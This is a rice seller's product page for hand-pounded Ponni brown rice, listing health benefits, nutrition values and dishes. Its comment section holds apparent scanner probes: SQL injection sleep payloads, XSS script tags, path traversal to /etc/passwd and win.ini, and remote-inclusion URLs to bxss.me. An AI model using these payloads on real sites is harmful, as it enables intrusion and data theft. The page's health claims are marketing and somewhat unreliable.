Ponni Kaikuthal (Brown Rice)
Published on Wed Jul 07, 2021Overview: The action of pounding removes the husk and turns paddy into edible rice.Handpounding is one of the healthiest variants as it is pounded in mortar, pestle and stone grinder. This is called kaikuthal arisi (in tamil).It is a suitable type of rice for lunch and even a small portion of rice makes you to the fullest at dinner.These tight nutrients present in the handpounded rice makes a great combination of being nutritious and tasty at the same time.
Benefits: 1.This handpounded ponni rice is a good source of vitamin E which acts as a anti-aging agent. 2. Cholelithiasis is the formation of gallstones in our body. Consumption of insoluble fiber may decrease the risk of developing cholelithiasis. 3. The human body cannot produce manganese but it can store it liver, pancreas, bone, kidneys and brain. Kaikuthal rice helps to promote strong bones when combined with calcium and vitamin D. 4. It has a low glycemic index and hence it is suitable for diabetics. 5. Complex carbohydrates present in pounded rice helps to keep our stomach full for longer time.It helps to reduce obesity.
Nutritional Value (based on 100g) Energy........................................362kcal Protein........................................7.9g Dietary Fiber...............................1.0g Carbohydrate..............................76.0g Iron..............................................1.8mg Fat................................................2.7g Niacin...........................................4.3mg Thiamine.....................................0.41mg
Cookery: 1. Can be taken as meal. 2. Pongal. 3. Idli
Zeeraga Samba Rice
Everyone knows that briyani is probably made of basmathi rice .Here lets see th…
Thooyamalli Rice
Thooyamalli belongs to the white rice category which has more nutrients when co…
Surakuruvai (Red Rice)
Surakuruvai is one of the red rice varieties which is predominantly grown in so…
User Comments
@@d5NOH
����%2527%2522\'\"
'"
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
jWz45LTj')) OR 418=(SELECT 418 FROM PG_SLEEP(15))--
zQCh6bjB') OR 498=(SELECT 498 FROM PG_SLEEP(15))--
RdkQS8mC' OR 784=(SELECT 784 FROM PG_SLEEP(15))--
-1)) OR 678=(SELECT 678 FROM PG_SLEEP(15))--
-1) OR 662=(SELECT 662 FROM PG_SLEEP(15))--
bxss.me
-1 OR 291=(SELECT 291 FROM PG_SLEEP(15))--
c:/windows/win.ini
65iHNhxm'))
../../../../../../../../../../../../../../etc/shells
2QbMRc99')
/etc/shells
vTkwmHrP'
http://bxss.me/t/fit.txt?.jpg
Http://bxss.me/t/fit.txt
-1 waitfor delay '0:0:15' --
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
-1))
9243077
-1)
'"()&%<zzz><ScRiPt >TbW7(9799)</ScRiPt>
-1
'"()&%<zzz><ScRiPt >TbW7(9067)</ScRiPt>
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ctime sleep p0 (I30 tp1 Rp2 .
../
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
^(#$!@#$)(()))******
file:///etc/passwd
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
!(()&&!|*|*|
../../../../../../../../../../../../../../windows/win.ini
)
../../../../../../../../../../../../../../etc/passwd
*if(now()=sysdate(),sleep(15),0)
-1" OR 2+887-887-1=0+0+0+1 --
-1' OR 2+895-895-1=0+0+0+1 or 'gxXKvhWH'='
-1' OR 2+331-331-1=0+0+0+1 --
-1 OR 2+710-710-1=0+0+0+1
-1 OR 2+320-320-1=0+0+0+1 --